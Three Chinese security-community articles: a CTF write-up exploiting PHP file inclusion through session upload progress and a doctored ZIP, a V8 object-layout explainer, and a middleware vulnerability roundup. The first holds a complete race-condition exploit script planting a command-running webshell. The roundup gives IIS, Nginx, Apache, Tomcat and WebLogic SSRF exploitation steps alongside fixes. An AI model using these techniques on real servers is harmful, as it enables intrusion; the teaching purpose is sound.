($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');
题目存在一个有限制的任意文件包含：
1. 1.后缀必须是 `.php`
2. 2.文件开头必须为 `@<?php`
此外，题目提供了 phpinfo 的数据，注意到题目环境安装了一个 ZIP 扩展：
显然，这道题目是需要利用 ZIP 伪协议，而且正好其格式 `zip://xxxx#xxxx.php` 也可以符合题目文件包含的条件。
那么，另一个问题，如何上传我们的 ZIP 文件呢？这里就需要利用到 `PHP_SESSION_UPLOAD_PROGRESS` 了。
## 二、PHP_SESSION_UPLOAD_PROGRESS
这个知识点，其实并不新颖，这里我也就简单介绍一下：
大概意思就是，当我们上传文件的同时，POST 一个 `session.upload_progress.name` 设定的变量，PHP 就会将
`sessoin.upload_progress.prefix` \+ `session.upload_progress.name的值` \+
`文件上传进度的数组` 写入到 sess 文件中。一般而言，默认的 `session.upload_progress.name` 为
`PHP_SESSION_UPLOAD_PROGRESS`。
但是，注意到，PHP 并没有对 POST 的内容进行检查。因此，我们可以利用这个方法来将我们的一句话木马写入到 sess
文件中，再利用文件包含来获取这个文件。这个方法，适用于所有可以包含到 sess 文件的题目当中。
这里有两个注意点：
* 1.虽然题目没有 `session_start()`，但是有两种情况下可以自动生成 sess 文件
1. (1).`session.auto_start=On`。这种情况下，PHP 会自动初始化 session，但是这个选项默认是 Off 的。
2. (2).`session.use_strict_mode=0`，这是默认设置。这种情况下，允许用户自定义 PHPSESSID，并且服务器也会在 session 存储路径下产生 `sess_PHPSESSID` 文件。
* 2.配置 `session.upload_progress.cleanup = on` 默认开启，会导致 session 文件内容在文件上传完成后立刻被清空。对于这个问题，就需要我们利用条件竞争漏洞，在 session 文件被清空前将 session 文件内容包含。
## 三、畸形 Zip 构造
这是 eva0 师傅想出来的思路（ **据他说，是一个异想天开的想法** ），也有本题最有意思的知识点，涉及到 Zip
文件结构。利用思路参考这篇[文章](https://github.com/p4-team/ctf/tree/master/2016-04-15-plaid-ctf/web_pixelshop)，大概意思是说， **zip 文件不是从头开始读内容的，而是先从后往前找标志位进行解析，** 涉及到的 Zip
文件结构体有 `Central directory` 和 `End of central directory record`，下面我们来一一讲解。
`Central directory` 的结构如下：
注意到标红的变量，它标明的是 `0x04034b50` 标志头的位置，也就是我们熟悉的 PK 开头位置，默认值为 0x00000000，也就是在 Zip
文件最开头的位置。显然，如果我们想要修改 Zip 的开头，就要将这个值进行修改，这样就可以在 Zip 的 0x04034b50 位置塞脏数据了。
`End of central directory record` 的结构如下：
同样注意到标红的变量，它标明的是 `0x02014b50` 标志头，也就是 `Central directory`
的起始位置。同样，我们需要修改这个值，使得解析 ZIP 文件的时候，能够正确定位 `Central directory` 的开头位置。
通过上述讲述，相信大家也大概明白，为什么 ZIP 是从后往前解析的，通过 `End of central directory record` 定位
`Central directory` ，再通过 `Central directory` 定位 ZIP 文件开头。
## 四、开始解题
前面我们提到，这是一个受限制的文件包含漏洞，题目会在我们的输入的 `$_GET['yxxx']` 后添加 `.php`，另外题目安装了 ZIP
扩展。所以，我们的思路是使用 `PHP_SESSION_UPLOAD_PROGRESS` 上传一个 ZIP 文件，然后利用
`zip:///tmp/xxxx#shell` 这样的伪协议进行文件包含。
我们知道，使用 `PHP_SESSION_UPLOAD_PROGRESS` 会自动在我们上传的 ZIP 文件前添加
`upload_progress_`，会影响 ZIP 的正常解析。因此，我们需要提前将 ZIP 的两个偏移量进行修改，然后再上传，这样我们就可以正常解析了。
下面是解题的 EXP，可以一步执行命令：
#encoding:utf-8
import io
import requests
import threading
from pwn import *
import os, sys
cmd = '''whoami'''
poc = '''@<?=echo "eva0 yyds";system('%s');?>''' % cmd
f = open('shell.php', 'w')
f.write(poc)
f.close()
os.system('rm -rf shell.zip;zip shell.zip shell.php')
f = open('shell.zip', 'rb')
ZipContent = f.read()
f.close()
central_directory_idx = ZipContent.index(b'\x50\x4B\x01\x02')
end_central_directory_idx = ZipContent.index(b'\x50\x4B\x05\x06')
file_local_header = ZipContent[:central_directory_idx]
central_directory = ZipContent[central_directory_idx:end_central_directory_idx]
end_central_directory = ZipContent[end_central_directory_idx:]
def GetHeaderOffset():
return u32(central_directory[42:46])
def SetHeaderOffset(offset):
return central_directory[:42] + p32(offset) + central_directory[46:]
def GetArchiveOffset():
return u32(end_central_directory[16:20])
def SetArchiveOffset(offset):
return end_central_directory[:16] + p32(offset) + end_central_directory[20:]
def Create(start, end):
length = len(start)
HeaderOffset = SetHeaderOffset(length + GetHeaderOffset())
ArchiveOffset = SetArchiveOffset(length + GetArchiveOffset())
NewZipContent = file_local_header + HeaderOffset + ArchiveOffset
return NewZipContent
start = b'upload_progress_'
end = b'|a:5:{s:10:"start_time";i:1625309087;s:14:"content_length";i:336;s:15:"bytes_processed";i:336;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:13:"callmecro.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1625309087;s:15:"bytes_processed";i:336;}}}'
ZipContent = Create(start, end)
f = open("shell.zip","wb")
f.write(ZipContent)
f.close()
sessid = 'callmecro'
url = 'http://111.186.59.2:50081/'
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 1024)
r = session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': ZipContent}, files={'file': ('callmecro.txt',f)}, cookies={'PHPSESSID': sessid})
def read(session):
while True:
r = session.post(url+'?yxxx=zip:///tmp/sess_'+sessid+'%23'+'shell', data={})
if '@eva0 yyds' in r.text:
print(r.text.strip('@eva0 yyds'))
event.clear()
sys.exit()
event=threading.Event()
with requests.session() as session:
for i in range(30):
threading.Thread(target=write,args=(session,)).start()
for i in range(30):
threading.Thread(target=read,args=(session,)).start()
event.set()
## 参考文章
1. [npfs 的《利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含》](https://www.cnblogs.com/NPFS/p/13795170.html)
2. [TGAO 的《利用session.upload_progress进行文件包含和反序列化渗透》](https://www.freebuf.com/news/202819.html)
3. [saltor 的《ZIP文件格式分析》](https://blog.csdn.net/a200710716/article/details/51644421)
4. [p4-team 的《PlaidCTF2016_PixelShop WP》](https://github.com/p4-team/ctf/tree/master/2016-04-15-plaid-ctf/web_pixelshop/src) | 社区文章 |
# 《Chrome V8原理讲解》第十七篇 JS对象的内存布局与创建过程
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本系列的前十三篇文章，讲解了V8执行Javascript时最基础的工作流程和原理，包括词法分析、语法分析、字节码生成、Builtins方法、ignition执行单元，等等，达到了从零做起，入门学习的目的。
接下来的文章将以问题为导向讲解V8源码，例如：以闭包技术、或垃圾回收（GC）为专题讲解V8中的相关源码。V8代码过于庞大，以问题为导向可以使得学习主题更加明确、效果更好。同时，我争取做到每篇文章是一个独立的知识点，方便大家阅读。
读者可以把想学的内容在文末评论区留言，我汇总后出专题文章。
## 1 摘要
《javascript高级程序设计》中对JS对象有这样的描述:“ECMA-262
将对象定义为一组属性的无序集合。严格来说，这意味着对象就是一组没有特定顺序的值。对象的每个属性或方法都由一个名称来标识，这个名称映射到一个值。可以把ECMAScript的对象想象成一张散列表，其中的内容就是一组名/值对，值可以是数据或者函数。”v8官方文档提到这样的描述：“出于性能、亦或代码设计的考虑，V8中对数据类型的设计做了详细分类，对JS对象内部的数据成员也做了不同的设计”。
本文深入V8内部，详细剖析JS对象的创建过程，讲解JS对象内部成员的组成方式、内存布局，以及重要数据结构。本文内容组织方式：V8中JS对象的重要概念、成员组成和内存布局（章节2）;JS对象创建过程（章节3）。
## 2 JS对象
在V8中，JS对象的每个成员、方法都有详细的分类和内存组织规则，内部成员从数据类型看分为两大类，元素类（Element）和属性类（Property），如图1。
图1（来自V8官方）中，可以看到元素和属性分开存储，原因是为提高效率。Element成员可以利用下标访问，它存在连续的地址空间中。Property成员，也是存在连的地址空间中，但不能使用下标访问成员，需要借助Map（HiddenClass）访问，Map记载了数据的描述符，通俗地说，Map描述数据的形状，数据访问方式等，参见第十四篇文章。元素类数据不需要借助Map，他的访问效率要高一些，如图2。
图2（出处同图1）中，除了Element和Property之外，还有In-object
property，它与前面提到的Property不同之处是访问时不需要借助Map，这提高了访问效率，但In-object
property的数量有限，优先使用In-object property，用完之后使用前面提到的“正常”Property进行存储。
图3（出处同图1），JS对象成员的访问方式有三种：
**（1）** In-Object，JS对象负责维护地址，它直接存在JS对象中；
**（2）** Slow方式，需要借助Map访问其成员；
**（3）** Self-dict，JS对象自己维护地址，不需要借助Map，采用字典方式存储数据。
self-dict是效率最差的存储方式，当数据很多并且不连续时，V8会放弃Map机制，改用self-dict方式存储。
图4给出了JS对象的内存部局。
申请JS对象时，对象的首地址指向Map（Map大小为：80byte），存在多个JS对象共用同一Map的情况，对象中还包括了Property back
store和Element back store指针，是否包含其它成员依据情况而定，稍后见代码解释。
JS对象的成员方法存在哪里？文章开头处提到：它是普通的Property成员。通过下面的测试代码解释成员方法的存储方式。
1. function person(name) {
2. this.name=name;
3. this.sayname=function(){console.log(this.name);}
4. }
5. worker = new person("Nicholas");
6. worker.sayname();
7. //分隔线..............................................................
8. //分隔线..............................................................
9. Bytecode Age: 0
10. 000001DAA2FA1E96 @ 0 : 13 00 LdaConstant [0]
11. 000001DAA2FA1E98 @ 2 : c2 Star1
12. 000001DAA2FA1E99 @ 3 : 19 fe f8 Mov <closure>, r2
13. 0 E> 000001DAA2FA1E9C @ 6 : 64 51 01 f9 02 CallRuntime [DeclareGlobals], r1-r2
14. 100 S> 000001DAA2FA1EA1 @ 11 : 21 01 00 LdaGlobal [1], [0]
15. 000001DAA2FA1EA4 @ 14 : c2 Star1
16. 000001DAA2FA1EA5 @ 15 : 13 02 LdaConstant [2]
17. 000001DAA2FA1EA7 @ 17 : c1 Star2
18. 000001DAA2FA1EA8 @ 18 : 0b f9 Ldar r1
19. 109 E> 000001DAA2FA1EAA @ 20 : 68 f9 f8 01 02 Construct r1, r2-r2, [2]
20. 107 E> 000001DAA2FA1EAF @ 25 : 23 03 04 StaGlobal [3], [4]
21. 134 S> 000001DAA2FA1EB2 @ 28 : 21 03 06 LdaGlobal [3], [6]
22. 000001DAA2FA1EB5 @ 31 : c1 Star2
23. 141 E> 000001DAA2FA1EB6 @ 32 : 2d f8 04 08 LdaNamedProperty r2, [4], [8]
24. 000001DAA2FA1EBA @ 36 : c2 Star1
25. 141 E> 000001DAA2FA1EBB @ 37 : 5c f9 f8 0a CallProperty0 r1, r2, [10]
26. 000001DAA2FA1EBF @ 41 : c3 Star0
27. 151 S> 000001DAA2FA1EC0 @ 42 : a8 Return
28. Constant pool (size = 5)
29. 000001DAA2FA1E29: [FixedArray] in OldSpace
30. - map: 0x024008ac12c1 <Map>
31. - length: 5
32. 0: 0x01daa2fa1d11 <FixedArray[2]>
33. 1: 0x01daa2fa1c09 <String[6]: #person>
34. 2: 0x01daa2fa1c39 <String[8]: #Nicholas>
35. 3: 0x01daa2fa1c21 <String[6]: #worker>
36. 4: 0x01daa2fa1c51 <String[7]: #sayname>
上半部分是js源码，下半部分是Bytecode。代码19行`Construct`构建JS对象`person`，并传递参数`Nicholas`，代码16，17行从常量池中取出`Nicholas`并存储到r2寄存器。而`sayname`成员是一个方法，因为lazy编译的原因，此时不做编译，而是在代码6行执行时才做编译，如下给出`sayname`成员编译后的字节码：
Bytecode Age: 0
29 S> 000001DAA2FA21AE @ 0 : 0b 03 Ldar a0
38 E> 000001DAA2FA21B0 @ 2 : 32 02 00 00 StaNamedProperty <this>, [0], [0]
47 S> 000001DAA2FA21B4 @ 6 : 7f 01 00 01 CreateClosure [1], [0], #1
59 E> 000001DAA2FA21B8 @ 10 : 32 02 02 02 StaNamedProperty <this>, [2], [2]
000001DAA2FA21BC @ 14 : 0e LdaUndefined
97 S> 000001DAA2FA21BD @ 15 : a8 Return
Constant pool (size = 3)
000001DAA2FA2151: [FixedArray] in OldSpace
- map: 0x024008ac12c1 <Map>
- length: 3
0: 0x024008ac5379 <String[4]: #name>
1: 0x01daa2fa20f9 <SharedFunctionInfo sayname>
2: 0x01daa2fa1c51 <String[7]: #sayname>
在上面的字节码中，看不到`console.log`，因为在此阶段V8仅执行sayname，虽然我们知道sayname的主体功能只有`console.log`，但V8还没有执行它，所以不编译。不执行时不编译，这就是lazy思想。
上述代码可以看出： **`sayname`虽然是一个成员方法，但在JS对象内部，它只是普通的Property成员。**
## 3 JS对象的创建过程
使用上面的测试用例，下面是创建`person`对象的源码位置：
1. RUNTIME_FUNCTION(Runtime_NewObject) {
2. HandleScope scope(isolate);
3. DCHECK_EQ(2, args.length());
4. CONVERT_ARG_HANDLE_CHECKED(JSFunction, target, 0);
5. CONVERT_ARG_HANDLE_CHECKED(JSReceiver, new_target, 1);
6. RETURN_RESULT_OR_FAILURE(
7. isolate,
8. JSObject::New(target, new_target, Handle<AllocationSite>::null()));
9. }
10. //分隔线.....................................
11. MaybeHandle<JSObject> JSObject::New(Handle<JSFunction> constructor,
12. Handle<JSReceiver> new_target,
13. Handle<AllocationSite> site) {
14. Isolate* const isolate = constructor->GetIsolate();
15. DCHECK(constructor->IsConstructor());
16. DCHECK(new_target->IsConstructor());
17. DCHECK(!constructor->has_initial_map() ||
18. !InstanceTypeChecker::IsJSFunction(
19. constructor->initial_map().instance_type()));
20. Handle<Map> initial_map;
21. ASSIGN_RETURN_ON_EXCEPTION(
22. isolate, initial_map,
23. JSFunction::GetDerivedMap(isolate, constructor, new_target), JSObject);
24. int initial_capacity = V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL
25. ? SwissNameDictionary::kInitialCapacity
26. : NameDictionary::kInitialCapacity;
27. Handle<JSObject> result = isolate->factory()->NewFastOrSlowJSObjectFromMap(
28. initial_map, initial_capacity, AllocationType::kYoung, site);
29. isolate->counters()->constructed_objects()->Increment();
30. isolate->counters()->constructed_objects_runtime()->Increment();
31. return result;
32. }
创建过程由`RUNTIME_FUNCTION(Runtime_NewObject)`开始，它是一个宏模板，在上篇文章中讲过，本文不在赘述。`JSObject::New()`方法新建JS对象，进入`JSFunction::GetDerivedMap(isolate,
constructor, new_target), JSObject);`方法，源码如下：
1. MaybeHandle<Map> JSFunction::GetDerivedMap(Isolate* isolate,
2. Handle<JSFunction> constructor,
3. Handle<JSReceiver> new_target) {
4. EnsureHasInitialMap(constructor);
5. Handle<Map> constructor_initial_map(constructor->initial_map(), isolate);
6. if (*new_target == *constructor) return constructor_initial_map;
7. Handle<Map> result_map;
8. if (new_target->IsJSFunction()) {
9. Handle<JSFunction> function = Handle<JSFunction>::cast(new_target);
10. if (FastInitializeDerivedMap(isolate, function, constructor,
11. constructor_initial_map)) {
12. return handle(function->initial_map(), isolate);
13. }
14. }
15. Handle<Object> prototype;
16. if (new_target->IsJSFunction()) {
17. Handle<JSFunction> function = Handle<JSFunction>::cast(new_target);
18. if (function->has_prototype_slot()) {
19. // Make sure the new.target.prototype is cached.
20. EnsureHasInitialMap(function);
21. prototype = handle(function->prototype(), isolate);
22. } else {
23. // No prototype property, use the intrinsict default proto further down.
24. prototype = isolate->factory()->undefined_value();
25. }
26. } else {
27. //省略很多..............
28. }
29. if (!prototype->IsJSReceiver()) {
30. //省略很多..............
31. }
32. Handle<Map> map = Map::CopyInitialMap(isolate, constructor_initial_map);
33. map->set_new_target_is_base(false);
34. CHECK(prototype->IsJSReceiver());
35. if (map->prototype() != *prototype)
36. Map::SetPrototype(isolate, map, Handle<HeapObject>::cast(prototype));
37. map->SetConstructor(*constructor);
38. return map;
39. }
`Handle<JSFunction>
constructor`是构造函数person（测试代码），代码16行时构造函数的Map基本完成，这里设置并安装prototype。代码4行，`EnsureHasInitialMap(constructor);`很重要，它的作用是计算构造函数constructor的形状并生成Map。然后使用这个Map申请内存、创建对象的实例`worker`（测试样例代码），计算过程需要对它进行编译（如果之前没有编译过），代码如下：
1. void JSFunction::EnsureHasInitialMap(Handle<JSFunction> function) {
2. DCHECK(function->has_prototype_slot());
3. DCHECK(function->IsConstructor() ||
4. IsResumableFunction(function->shared().kind()));
5. if (function->has_initial_map()) return;
6. Isolate* isolate = function->GetIsolate();
7. int expected_nof_properties =
8. CalculateExpectedNofProperties(isolate, function);
9. if (function->has_initial_map()) return;
10. InstanceType instance_type;
11. if (IsResumableFunction(function->shared().kind())) {
12. instance_type = IsAsyncGeneratorFunction(function->shared().kind())
13. ? JS_ASYNC_GENERATOR_OBJECT_TYPE
14. : JS_GENERATOR_OBJECT_TYPE;
15. } else {
16. instance_type = JS_OBJECT_TYPE;
17. }
18. int instance_size;
19. int inobject_properties;
20. CalculateInstanceSizeHelper(instance_type, false, 0, expected_nof_properties,
21. &instance_size, &inobject_properties);
22. Handle<Map> map = isolate->factory()->NewMap(instance_type, instance_size,
23. TERMINAL_FAST_ELEMENTS_KIND,
24. inobject_properties);
25. Handle<HeapObject> prototype;
26. if (function->has_instance_prototype()) {
27. prototype = handle(function->instance_prototype(), isolate);
28. } else {
29. prototype = isolate->factory()->NewFunctionPrototype(function);
30. }
31. DCHECK(map->has_fast_object_elements());
32. DCHECK(prototype->IsJSReceiver());
33. JSFunction::SetInitialMap(isolate, function, map, prototype);
34. map->StartInobjectSlackTracking();
35. }
代码5行，如果已经有Map，不用再计算了，返回。代码7行，计算构造函数的属性值，这里进行编译。代26~30行，生成prototype（注意区分：这里是生成，然后才是前面提到的设置和安全），构造函数是第一次生成，没有prototype，进入代码29行。
**注意：**
这里可以看出，同一个构函数的不同实例之间是共用一个prototype，因为prototype设置在构造函数person上，我们用person实例多个对象时，只有在person初次生成时才执行代码29行。
再来看代码7行，源码如下：
1. int JSFunction::CalculateExpectedNofProperties(Isolate* isolate,
2. Handle<JSFunction> function) {
3. int expected_nof_properties = 0;
4. for (PrototypeIterator iter(isolate, function, kStartAtReceiver);
5. !iter.IsAtEnd(); iter.Advance()) {
6. Handle<JSReceiver> current =
7. PrototypeIterator::GetCurrent<JSReceiver>(iter);
8. if (!current->IsJSFunction()) break;
9. Handle<JSFunction> func = Handle<JSFunction>::cast(current);
10. Handle<SharedFunctionInfo> shared(func->shared(), isolate);
11. IsCompiledScope is_compiled_scope(shared->is_compiled_scope(isolate));
12. if (is_compiled_scope.is_compiled() ||
13. Compiler::Compile(isolate, func, Compiler::CLEAR_EXCEPTION,
14. &is_compiled_scope)) {
15. DCHECK(shared->is_compiled());
16. int count = shared->expected_nof_properties();
17. if (expected_nof_properties <= JSObject::kMaxInObjectProperties - count) {
18. expected_nof_properties += count;
19. } else {
20. return JSObject::kMaxInObjectProperties;
21. }
22. } else {
23. continue;
24. }
25. }
26. if (expected_nof_properties > 0) {
27. expected_nof_properties += 8;
28. if (expected_nof_properties > JSObject::kMaxInObjectProperties) {
29. expected_nof_properties = JSObject::kMaxInObjectProperties;
30. }
31. }
32. return expected_nof_properties;
33. }
`Handle<JSFunction>
function`是构造函数person，代码13行进行编译并计算对象的属性值数量。代码28行，会与MaxInObject比较，如果大于MaxInObject，那么属性值数量就是MaxInObject。前面提到JS对象中In-Object数量有限，MaxInObject正是它的最大数量。多出的属性值在后面会作处理——放入图1的属性值存储区。
回到`JSObject::New()`方法中代码27行，用Map去申请JS对象的内存，后面就是对象实例化的参数设置等等，请读者根据图5的函数堆栈自行跟踪。
好了，今天到这里，下次见。
**恳请读者批评指正、提出宝贵意见**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
# 部分中间件漏洞总结
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
做看客很久了，发现一直没有比较好的中间件漏洞的总结性文章，正好近期在做这方面的学习，在此仅总结了少部分中间件常见漏洞供学习参考，后续将补充另一部分常见漏洞。如有错误还请大佬们指正。
## 一、IIS文件解析漏洞
IIS文件解析漏洞存在于两个版本，一个是IIS6.0的文件解析漏洞，一个是IIS7.5的文件解析漏洞，IIS7.5的文件解析漏洞原理和IIS6.0类似，均因为存在逻辑问题，在此仅对IIS6.0的文件解析漏洞进行分析。在补充中将对IIS7.5文件解析漏洞差异性部分进行额外说明。
### （一）漏洞原理
IIS6.0在处理含有特殊符号的文件路径时会出现逻辑错误（文件目录名称为test.asp，目录中的文件会被当做asp执行；后缀名为.asp;.jpg时，当作asp文件执行），从而造成文件解析漏洞。
### （二）漏洞演示及利用
当网站上传点限制后缀名时（IIS主要和asp搭配），可以利用文件解析漏洞上传如test.asp;.jpg的文件，绕过后执行。如图1.1
图1.1
当允许新建目录而未对目录名做限制时，可利用文件解析漏洞新建名为test.asp的文件夹，并在其中构造需执行文件iisstart.jpg进行绕过。如图1.2
图1.2
### （三）漏洞修复
1、对新建目录文件名进行过滤，不允许新建包含.的文件夹甚至禁止新建目录
2、限制上传文件的执行权限，不允许执行
3、过滤.asp/xm.jpg等，在httpd.ini中加入过滤规则（此方法为网络上的解决办法，但在server2003中未搜索到该文件）。
4、升级IIS版本
### （四）补充
IIS6.0的解析漏洞同样存在于IIS 5.x的版本，而IIS7.5的畸形解析漏洞的攻击方法同样适用于IIS7.0和Nginx<8.03版本。
IIS7.5文件解析漏洞出现是因为url中只要看到后缀.php，无论存在与否均交给php处理，而php又默认开启“cgi.fix_pathinfo”,会对文件路径进行整理（从后向前判定是否存在，不存在则删减，存在则当作php文件执行。）
## 二、IIS命令执行漏洞
IIS6.0命令执行漏洞，编号CVE-2017-7269，在开启WebDav服务的情况下存在可远程执行漏洞。
#### （一）漏洞原理
在IIS6.0处理PROPFIND指令的时候，由于对url的长度没有进行有效的长度控制和检查，导致执行memcpy对虚拟路径进行构造的时候，引发栈溢出，该漏洞可以导致远程代码执行。如图2.1
图2.1
### （二）漏洞演示及利用
Github上的一个开源exp:<https://github.com/edwardz246003/IIS_exploit>
修改IP地址未对应的目标机地址，如图2.2
图2.2
运行脚本，攻击目标机。如图2.3
图2.3
### （三）漏洞修复
将IIS管理器中，web服务扩展下，webDAV禁用，即可修复，修复后再此运行脚本，未出现弹窗。如图2.4
图2.4
### （四）补充
若能弹出计算器（calc）,则权限已经足以完成getshell的全部操作。
## 三、IIS短文件名
IIS短文件名漏洞，通过IIS短文件名机制，暴力列举短文件名，尝试猜解后台地址、敏感文件甚至直接下载对应的文件。但局限于只能猜解长文件名前6位和扩展名前3位，同时需要IIS和.net两个条件都满足。
### （一）漏洞原理
利用了IIS短文件名机制，即为了兼容16位MS-DOS程序，Windows为文件名较长的（计算后缀后文件名长度大于9）文件（和文件夹）生成了对应的windows 8.3
短文件名。可以通过此漏洞猜解后台地址、敏感文件等。如图3.1
图3.1
### （二）漏洞演示及利用
开启winserver2003虚拟机，在c:/Inetpub/wwwroot目录下新建对比文件夹12345678，123456789，对比文件aaaaaa.asp。在主机上打开虚拟机IP下的URL
尝试10.10.10.132/122~1**/a.asp和10.10.10.132/123~1/a.asp；得到不同的结果如图3.2，图3.3。
图3.2
图3.3
通过如上两图我们可以看出，根据返回结果的不同可以逐个猜解短文件名。
而后再尝试10.10.10.132/aaaaaa~1/a.asp（猜解无后缀，正常返回则为文件夹）和10.10.10.132/aaaaaa~1/a.asp（猜解为文件）。如图3.4，图3.5。
图3.4
图3.5
根据不同的回显我们可以判断正在猜解的对象是文件还是文件夹。
### （三）漏洞修复
目前几种修复方式，可选择升级.net
framework或者将在注册表HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlFileSystem中修改NtfsDisable8dot3NameCreation为1，但修改方法尝试多次，不易成功。
除去上述方式，较易成功的方式为将web文件夹内容拷贝到其他区域，将原文件夹删除后，再将拷贝的文件夹移动回来。修复如图3.6，结果如图3.7
图3.6
图3.7
### （四）补充
目前有比较好的IIS短文件名检查工具，下载地址为：
<https://github.com/lijiejie/IIS_shortname_Scanner>
## 四、Nginx文件解析
Nginx文件解析漏洞，精心构造的恶意请求经过nginx中间件处理后，被合法的执行。php有一个选项cgi.fix_pathinfo，默认值为1，表示开启。
### （一）漏洞原理
Nginx文件解析漏洞，涉及到选项cgi.fix_pathinfo，默认值为1，表示开启。请求文件/shell.gif时后面加个*.php，可能会被当作php代码执行。如果关闭此选项，输入10.10.10.130:55555/test.jpg/x.php只会返回找不到文件。但因为如果关闭可能会导致一些其他错误，所以默认是开启的。如图4.1
图4.1
同时配置文件/etc/php5/fpm/pool.d/www.conf中security.limit_extensions允许解析其他格式文件为php，如图4.2，二者共同作用造成了文件解析漏洞。
图4.2
### （二）漏洞演示及利用
一是因为对任意文件名，在后面添加/任意文件名.php的解析漏洞，比如原本文件名时test.jpg，都可以添加为test.jpg/x.php进行解析攻击。如图4.3.二是对低版本的Nginx可以在任意文件名后添加%00.php进行解析攻击。
图4.3
### （三）漏洞修复
1、将php.ini文件中的cgi.fix_pathinfo的值设为0。这样php在解析1.php/1.jpg这样的目录时，只要1.jpg不存在就会显示404。
2、将/etc/php5/fpm/pool.d/www.conf中security.limit_extensions后面的值设为.php。
修复结果如图4.4
图4.4
### （四）补充
Nginx文件解析漏洞的本质原因时配置文件错误。网站上线前需要确认相关配置正确。
## 五、Nginx配置不当
Nginx配置不当除了造成文件解析漏洞，还可能造成两种后果：1、可以进行目录遍历（或目录穿越）；2、存在CRLF注入，CRLF是”回车+换行”（rn）的简称。目录穿越将在补充内容中进行介绍。
### （一）漏洞原理
Nginx目录遍历漏洞和apache一样，属于配置方面的问题。错误的配置可能导致目录遍历与源码泄露。如图5.1
图5.1
CRLF利用了HTTP包Header与Body是用两个CRLF分隔的这一特性，通过控制HTTP消息头中的字符。若采用解码跳转，攻击者就可以注入一些恶意的换行来注入一些会话Cookie或者HTML代码。如图5.2。任何可设置HTTP头的场景都会出现CRLF注入问题。
图5.2
### （二）漏洞演示及利用
1、目录遍历
当autoindex on;存在时，可直接访问目录。如图5.3
图5.3
2、CRLF注入
开启burp，刷新页面，抓包，修改数据包。结果如图5.4
图5.4
可以看到，经过恶意修改，攻击者构造的url中的JSPSEEID值被服务器读取成了请求头中的cookie值，达到了会话固定的目的。出去会话固定，通过两次CRLF可将URL中编写的恶意脚本（如反射型XSS）被服务器识别成请求体，从而达成攻击。如图5.5。如未弹窗可能是因为浏览器Filter对XSS特征进行了过滤，并且进行了跳转。
图5.5
### （三）漏洞修复
1、针对目录遍历，只需在配置文件中删除autoindex on即可。修复结果如图5.6
图5.6
2、针对CRLF注入，修改配置文件使用不解码的url跳转。
将return 302 [https://$host$uri；](https://%24host%24uri%EF%BC%9B) 修改为return 302
[https://$host$request_uri；](https://%24host%24request_uri%EF%BC%9B) 修复结果如图5.7
图5.7
### （四）补充
关于Nginx配置不当造成目录穿越，其成因除去目录遍历漏洞中开启的autoindex
on;选项，同时在配置文件/etc/nginx/conf.d/error2.conf中，没有闭合跳转目录如图5.8，造成目录穿越如图5.9
图5.8
图5.9
修复方法也很简单，将/files闭合，变为/files/即可，效果如图5.10
图5.10
## 六、apache文件解析漏洞
文件解析与文件上传漏洞往往伴生存在。apache解析文件时逻辑存在问题，造成请求某一个精心编辑过的非法文件时被当作正常的php文件来执行，造成被getshell。
### （一）漏洞原理
因为apache解析php时，当文件的最后一个后缀php相关时，会把文件交给php处理器处理，完成后结果返回给apache，再发送给浏览器。而当一个文件以多个点分隔无法识别时，则继续向左试别。即当请求shell.php.360,将试别出php，然后交给php处理。
### （二）漏洞演示及利用
当上传1.php时，由于存在上传后缀名限制，无法完成上传如图6.1，一般情况下，若上传允许的类型则无法利用，但存在文件解析漏洞时，可以绕过。
图6.1
此时上传1.php.aaa文件，则可以上传成功。同时因存在解析问题，1.php.aaa文件可以被访问。如图6.2
图6.2
### （三）漏洞修复
在配置文件中，不使用AddHandler，改用SetHandler，写好正则，就不会有解析问题。
<FilesMatch “.+.php$”>
SetHandler application /x-httpd-php
</FilesMatch>
禁止.php.这样的文件执行
<FilesMatch “.+.ph(p[3457]?|t|tml).”>
Require all denied
</FilesMatch>
### （四）补充
此漏洞爆出后，官方进行了一次修复，采用了黑名单，如图6.3
图6.3
但之后又爆出了同类型的漏洞（编号：CVE-2017-15715），可通过上传一个包含换行符（x0A）的文件绕过检测，如图6.4、图6.5，Apache2.4.0-2.4.29均受到此漏洞影响。在后续版本中官方已经修复了此漏洞，及时更新即可修复。
图6.4
图6.5
## 七、tomcat任意文件上传
Tomcat远程代码执行漏洞，编号：CVE-2017-12615
### （一）漏洞原理
当readonly参数设置为false时，即可通过PUT方式创建一个JSP文件，并可以执行任意代码。如图7.1
图7.1
### （二）漏洞演示及利用
开启Burp，访问Tomcat服务，抓包，修改数据包，转发至repeater并发送，提示404，请求被拦截。如图7.2
图7.2
再次修改请求包，处理文件名相关限制。如图7.3
图7.3
### （三）漏洞修复
1、将Tomcat、jdk、php更新
2、关闭可通过PUT方式创建JSP文件的功能。
## 八、weblogic SSRF漏洞
Weblogic未对用户url进行过滤，从恶意构造的的url读取数据并展示功能，导致攻击者可借助服务端实现访问本无权访问的url。漏洞编号：CVE-2014-4210
### （一）漏洞原理
Weblogic的SSRF漏洞出现在uddi组件（也就意味着未安装此组件则无此漏洞），其中的uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。
### （二）漏洞利用
地址栏输入url：
[http://10.10.10.130:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfo=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001](http://10.10.10.130:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfo=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001)
得到结果如图8.1
图8.1
修改url中端口为一个未开放的端口如8888，会得到不同的回显如图8.2，根据回显不同，可以判断端口是否开放，以进行下一步渗透
